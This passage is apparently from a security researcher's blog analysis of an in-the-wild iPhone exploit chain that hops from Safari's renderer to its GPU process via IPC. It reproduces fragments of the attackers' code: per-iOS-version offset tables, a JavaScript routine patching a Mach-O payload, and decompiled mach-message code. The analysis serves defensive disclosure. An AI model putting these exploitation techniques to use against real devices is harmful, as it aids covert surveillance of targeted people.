payload</span></p> <p class="YrefKOOkxY-c4 YrefKOOkxY-c21"><span class="YrefKOOkxY-c14 YrefKOOkxY-c30"></span></p> <p class="YrefKOOkxY-c2"><span>In April this year Google's Threat Analysis Group, in collaboration with Amnesty International, discovered an in-the-wild iPhone zero-day exploit chain being used in targeted attacks delivered via malicious link. The chain was reported to Apple under a 7-day disclosure deadline and Apple released </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://support.apple.com/en-us/HT213720">iOS 16.4.1 on April 7, 2023</a></span><span class="YrefKOOkxY-c5"> fixing CVE-2023-28206 and CVE-2023-28205.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Over the last few years Apple has been hardening the Safari WebContent (or "renderer") process sandbox attack surface on iOS, recently removing the ability for the WebContent process to access GPU-related hardware directly. Access to graphics-related drivers is now brokered via a GPU process which runs in a separate sandbox.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>Analysis of this in-the-wild exploit chain reveals the first known case of attackers exploiting the Safari IPC layer to "hop" from WebContent to the GPU process, adding an extra link to the exploit chain (</span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://support.apple.com/en-us/HT213757">CVE-2023-32409</a></span><span class="YrefKOOkxY-c5">).</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">On the surface this is a positive sign: clear evidence that the renderer sandbox was hardened sufficiently that (in this isolated case at least) the attackers needed to bundle an additional, separate exploit. Project Zero has long advocated for attack-surface reduction as an effective tool for improving security and this would seem like a clear win for that approach.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>On the other hand, upon deeper inspection</span><span>, things aren't quite so rosy.</span><span> Retroactively sandboxing code which was never designed with compartmentalization in mind is rarely simple to do effectively. In this case the exploit targeted a very basic buffer overflow vulnerability in unused IPC support code for a disabled feature - </span><span>effectively new</span><span class="YrefKOOkxY-c5"> attack surface which exists only because of the introduced sandbox. A simple fuzzer targeting the IPC layer would likely have found this vulnerability in seconds.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>Nevertheless, it remains the case that attackers will still need to exploit this extra link in the chain each time to reach the GPU driver kernel attack surface. A large part of this writeup is dedicated to analysis of the </span><span class="YrefKOOkxY-c3">NSExpression</span><span>-based framework the attackers developed to ease this and vastly reduce their marginal costs.</span></p><h3 class="YrefKOOkxY-c6" id="h.nu9p0mod0yip"><span class="YrefKOOkxY-c10">Setting the stage</span></h3> <p class="YrefKOOkxY-c2"><span>After gaining native code execution exploiting a </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://github.com/WebKit/WebKit/commit/c9880de4a28b9a64a5e1d0513dc245d61a2e6ddb">JavaScriptCore Garbage Collection vulnerability</a></span><span> the attackers perform a find-and-replace on a large </span><span class="YrefKOOkxY-c3">ArrayBuffer</span><span class="YrefKOOkxY-c5"> in JavaScript containing a Mach-O binary to link a number of platform- and version-dependent symbol addresses and structure offsets using hardcoded values:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">// find and rebase symbols for current target and ASLR slide:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> dt: {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ce: false,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ["16.3.0"]: {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> _e: 0x1ddc50ed1,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> de: 0x1dd2d05b8,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ue: 0x19afa9760,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> he: 1392,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> me: 48,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> fe: 136,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> pe: 0x1dd448e70,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ge: 305,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> Ce: 0x1dd2da340,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> Pe: 0x1dd2da348,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ye: 0x1dd2d45f0,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> be: 0x1da613438,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">...</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ["16.3.1"]: {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> _e: 0x1ddc50ed1,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> de: 0x1dd2d05b8,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ue: 0x19afa9760,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> he: 1392,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> me: 48,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> fe: 136,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> pe: 0x1dd448e70,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ge: 305,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> Ce: 0x1dd2da340,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> Pe: 0x1dd2da348,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ye: 0x1dd2d45f0,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> be: 0x1da613438,</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">// mach-o Uint32Array:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">xxxx = new Uint32Array([0x77a9d075,0x88442ab6,0x9442ab8,0x89442ab8,0x89442aab,0x89442fa2,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">// deobfuscate xxx</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">...</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">// find-and-replace symbols:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">xxxx.on(new m("0x2222222222222222"), p.Le);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">xxxx.on(new m("0x3333333333333333"), Gs);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">xxxx.on(new m("0x9999999999999999"), Bs);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">xxxx.on(new m("0x8888888888888888"), Rs);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">xxxx.on(new m("0xaaaaaaaaaaaaaaaa"), Is);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">xxxx.on(new m("0xc1c1c1c1c1c1c1c1"), vt);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">xxxx.on(new m("0xdddddddddddddddd"), p.Xt);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">xxxx.on(new m("0xd1d1d1d1d1d1d1d1"), p.Jt);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">xxxx.on(new m("0xd2d2d2d2d2d2d2d2"), p.Ht);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span>The initial Mach-O which this loads has a fairly small </span><span class="YrefKOOkxY-c3">__TEXT</span><span> (code) segment and is itself in fact a Mach-O loader, which loads another binary from a segment called </span><span class="YrefKOOkxY-c3">__embd</span><span class="YrefKOOkxY-c5">. It's this inner Mach-O which this analysis will cover.</span></p><h3 class="YrefKOOkxY-c6" id="h.v04sp5wlmxsj"><span class="YrefKOOkxY-c10">Part I - Mysterious Messages</span></h3> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Looking through the strings in the binary there's a collection of familiar IOKit userclient matching strings referencing graphics drivers:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">"AppleM2ScalerCSCDriver",0</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">"IOSurfaceRoot",0</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">"AGXAccelerator",0 </span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>But following the cross references to "</span><span class="YrefKOOkxY-c3">AGXAccelerator</span><span>" (which opens userclients for the GPU) this string never gets passed to </span><span class="YrefKOOkxY-c3">IOServiceOpen</span><span class="YrefKOOkxY-c5">. Instead, all references to it end up here (the binary is stripped so all function names are my own): </span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">kern_return_t</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">get_a_user_client(char *</span><span class="YrefKOOkxY-c3 YrefKOOkxY-c7">matching_string</span><span class="YrefKOOkxY-c0">,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> u32 type,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> void* s_out) {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> kern_return_t ret;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> struct uc_reply_msg;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> mach_port_name_t reply_port;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> struct msg_1 msg;</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> reply_port = 0;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> mach_port_allocate(mach_task_self_,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> MACH_PORT_RIGHT_RECEIVE,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> &reply_port);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> memset(&msg, 0, sizeof(msg));</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> msg.hdr.msgh_bits = 0x1413;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> msg.hdr.msgh_remote_port = a_global_port;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> msg.hdr.msgh_local_port = reply_port;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> msg.hdr.msgh_id = 5;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> msg.hdr.msgh_size = 200;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> msg.field_a = 0;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> msg.type = type;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3"> __strcpy_chk(msg.matching_str, </span><span class="YrefKOOkxY-c3 YrefKOOkxY-c7">matching_string</span><span class="YrefKOOkxY-c0">, 128LL);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ret = mach_msg_send(&msg.hdr);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">...</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> // return a port read from the reply message via s_out</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span>Whilst it's not unusual for a userclient matching string to end up inside a mach message (plenty of exploits will include or generate their own </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://www.cs.cmu.edu/afs/cs/project/mach/public/doc/unpublished/mig.ps">MIG serialization</a></span><span class="YrefKOOkxY-c5"> code for interacting with IOKit) this isn't a MIG message.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Trying to track down the origin of the port right to which this message was sent was non-trivial; there was clearly more going on. My guess was that this must be communicating with something else, likely some other part of the exploit. The question was: what other part?</span></p><h3 class="YrefKOOkxY-c6" id="h.cwaell99mf69"><span class="YrefKOOkxY-c10">Down the rabbit hole</span></h3> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">At this point I started going through all the cross-references to the imported symbols which could send or receive mach messages, hoping to find the other end of this IPC. This just raised more questions than it answered.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>In particular, there were a lot of cross-references to a function sending a variable-sized mach message with a </span><span class="YrefKOOkxY-c3">msgh_id</span><span> of </span><span class="YrefKOOkxY-c3">0xDBA1DBA</span><span class="YrefKOOkxY-c5">.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">There is exactly one hit on Google for that constant:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi77WGxhsnBXl8ShJPuffTWC4CVnq9-ehI4PbAqe2ZcWzccweFWaBEuxQUb03kryqpgeyfJnlI4Xh494eScUZTM1Yh6Cniss0U9z0Ycws1mfh8p1ML4dSjlMypbnqZyNSjQx654p2oeax6341PjKbN07GO7-b31hU9Lx26PF2U153TFehRyGVF68ohby4I/s1600/image17.png" style="display: block; padding: 1em 0;text-align: center;"><img alt="A screenshot of a Google search result page with one result" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi77WGxhsnBXl8ShJPuffTWC4CVnq9-ehI4PbAqe2ZcWzccweFWaBEuxQUb03kryqpgeyfJnlI4Xh494eScUZTM1Yh6Cniss0U9z0Ycws1mfh8p1ML4dSjlMypbnqZyNSjQx654p2oeax6341PjKbN07GO7-b31hU9Lx26PF2U153TFehRyGVF68ohby4I/s1200/image17.png" style="max-height: 750px; max-width: 600px;" title="A screenshot of a Google search result page with one result" /></a></span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>Ignoring Google's helpful advice that maybe I wanted to search for "cake recipes" instead of this hex constant and following the single result leads to this snippet on </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://opensource.apple.com/source/WebKit2/WebKit2-7609.3.5.1.3/Platform/IPC/cocoa/ConnectionCocoa.mm.auto.html">opensource.apple.com</a></span><span> in </span><span class="YrefKOOkxY-c3">ConnectionCocoa.mm</span><span class="YrefKOOkxY-c5">:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">namespace IPC {</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">static const size_t inlineMessageMaxSize = 4096;</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">// Arbitrary message IDs that do not collide with Mach notification messages (used my initials).</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">constexpr mach_msg_id_t inlineBodyMessageID = 0xdba0dba;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">constexpr mach_msg_id_t outOfLineBodyMessageID = </span><span class="YrefKOOkxY-c3 YrefKOOkxY-c7">0xdba1dba</span><span class="YrefKOOkxY-c0">;</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">This is a constant used in Safari IPC messages!</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>Whilst Safari has had a separate networking process for a long time it's only recently started to isolate GPU and graphics-related functionality into a GPU process. Knowing this, it's fairly clear what must be going on here: since the renderer process can presumably no longer open the </span><span class="YrefKOOkxY-c3">AGXAccelerator</span><span class="YrefKOOkxY-c5"> userclients, the exploit is somehow going to have to get the GPU process to do that. This is likely the first case of an in-the-wild iOS exploit targeting Safari's IPC layer.</span></p><h3 class="YrefKOOkxY-c6" id="h.t57vj8l1xq6q"><span class="YrefKOOkxY-c10">The path less trodden</span></h3> <p class="YrefKOOkxY-c2"><span>Googling for info on Safari IPC doesn't yield many results (apart from some very early </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://bugs.chromium.org/p/project-zero/issues/detail?id=10&q=&can=1">Project Zero vulnerability reports</a></span><span>) and looking through the WebKit source reveals heavy use of </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://github.com/WebKit/WebKit/blob/main/Source/WebKit/Scripts/generate-serializers.py">generated code</a></span><span> and </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://github.com/WebKit/WebKit/blob/main/Source/WebKit/Scripts/generate-serializers.py#L426">C++ operator overloading</a></span><span class="YrefKOOkxY-c5">, neither of which are conducive to quickly getting a feel for the binary-level structure of the IPC messages.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>But the high-level structure is easy enough to figure out. As we can see from the code snippet above, IPC messages containing the </span><span class="YrefKOOkxY-c3">msgh_id</span><span> value </span><span class="YrefKOOkxY-c3">0xdba1dba</span><span> send their serialized message body as an out-of-line descriptor. That serialized body always starts with a common header defined in the </span><span class="YrefKOOkxY-c3">IPC</span><span class="YrefKOOkxY-c5"> namespace as:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">void Encoder::encodeHeader()</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> *this << defaultMessageFlags;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> *this << m_messageName;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> *this << m_destinationID;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>The </span><span class="YrefKOOkxY-c3">flags</span><span> and </span><span class="YrefKOOkxY-c3">name</span><span> fields are both 16-bit values and </span><span class="YrefKOOkxY-c3">destinationID</span><span> is 64 bits. The serialization uses natural alignment so there's 4 bytes of padding between the </span><span class="YrefKOOkxY-c3">name</span><span> and </span><span class="YrefKOOkxY-c3">destinationID</span><span class="YrefKOOkxY-c5">:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPHyHj04YHCntV4a-CazqQl6hyZ7SK4dKseLE4jowixuOV-a_Deq2tOnpipp3GtmvkPwaih64ZYbjX-V1wcAkHqlIb0WhV0Nb2yMlkHfj2gzkx1vloU85dt2fliFnMuh_v0M_Oup9udzhBM5_bPDsLPLHx749BVcpDHxvN8mNLfD0nRUiHyKDJ7sceVsA/s840/image15.png" style="display: block; padding: 1em 0;text-align: center;"><img alt="Diagram showing the in-memory layout of a Safari IPC mach message with message header then serialized payload pointed to by an out-of-line descriptor" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPHyHj04YHCntV4a-CazqQl6hyZ7SK4dKseLE4jowixuOV-a_Deq2tOnpipp3GtmvkPwaih64ZYbjX-V1wcAkHqlIb0WhV0Nb2yMlkHfj2gzkx1vloU85dt2fliFnMuh_v0M_Oup9udzhBM5_bPDsLPLHx749BVcpDHxvN8mNLfD0nRUiHyKDJ7sceVsA/s840/image15.png" style="max-height: 750px; max-width: 600px;" title="Diagram showing the in-memory layout of a Safari IPC mach message with message header then serialized payload pointed to by an out-of-line descriptor" /></a></span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>It's easy enough to enumerate all the functions in the exploit which serialize these Safari IPC messages. None of them hardcode the </span><span class="YrefKOOkxY-c3">messageName</span><span> values; instead there's a layer of indirection indicating that the </span><span class="YrefKOOkxY-c3">messageName</span><span> values aren't stable across builds. The exploit uses the device's </span><span class="YrefKOOkxY-c1 YrefKOOkxY-c3"><a class="YrefKOOkxY-c121" href="https://developer.apple.com/library/archive/documentation/System/Conceptual/ManPages_iPhoneOS/man3/uname.3.html">uname</a></span><span> string, product and OS version to choose the correct hardcoded table of </span><span class="YrefKOOkxY-c3">messageName</span><span class="YrefKOOkxY-c5"> values.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>The </span><span class="YrefKOOkxY-c3">IPC::description</span><span> function in the iOS shared cache maps </span><span class="YrefKOOkxY-c3">messageName</span><span class="YrefKOOkxY-c5"> values to IPC names:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">const char * IPC::description(unsigned int messageName)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if ( messageName > 0xC78 )</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return "<invalid message name>";</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> else</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return off_1D61ED988[messageName];</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">The size of the bounds check gives you an idea of the size of the IPC attack surface - that's over 3000 IPC messages between all pairs of communicating processes.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Using the table in the shared cache to map the message names to human-readable strings we can see the exploit uses the following 24 IPC messages:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0x39: GPUConnectionToWebProcess_CreateRemoteGPU</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0x3a: GPUConnectionToWebProcess_CreateRenderingBackend</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0x9B5: InitializeConnection</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0x9B7: ProcessOutOfStreamMessage</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0xBA2: RemoteAdapter_RequestDevice</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0xBA5: RemoteBuffer_MapAsync</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0x271: RemoteBuffer_Unmap</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0xBA6: RemoteCDMFactoryProxy_CreateCDM</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0x2A2: RemoteDevice_CreateBuffer</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0x2C7: RemoteDisplayListRecorder_DrawNativeImage</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0x2D4: RemoteDisplayListRecorder_FillRect</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0x2DF: RemoteDisplayListRecorder_SetCTM</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0x2F3: RemoteGPUProxy_WasCreated</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0xBAD: RemoteGPU_RequestAdapter</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0x402: RemoteMediaRecorderManager_CreateRecorder</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0xA85: RemoteMediaRecorderManager_CreateRecorderReply</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0x412: RemoteMediaResourceManager_RedirectReceived</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0x469: RemoteRenderingBackendProxy_DidInitialize</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0x46D: RemoteRenderingBackend_CacheNativeImage</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0x46E: RemoteRenderingBackend_CreateImageBuffer</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0x474: RemoteRenderingBackend_ReleaseResource</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0x9B8: SetStreamDestinationID</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0x9B9: SyncMessageReply</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0x9BA: Terminate</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">This list of IPC names solidifies the theory that this exploit is targeting a GPU process vulnerability.</span></p><h3 class="YrefKOOkxY-c6" id="h.rbav0fsy21ng"><span class="YrefKOOkxY-c10">Finding a way</span></h3> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">The destination port which these messages are being sent to comes from a global variable which looks like this in the raw Mach-O when loaded into IDA:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">__data:000000003E4841C0 dst_port DCQ 0x4444444444444444</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">I mentioned earlier that the outer JS which loaded the exploit binary first performed a find-and-replace using patterns like this. Here's the snippet computing this particular value:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> let Ls = o(p.Ee);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> let Ds = o(Ls.add(p.qe));</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> let Ws = o(Ds.add(p.$e));</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> let vs = o(Ws.add(p.Ze));</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> jBHk.on(new m("0x4444444444444444"), vs);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Replacing all the constants we can see it's following a pointer 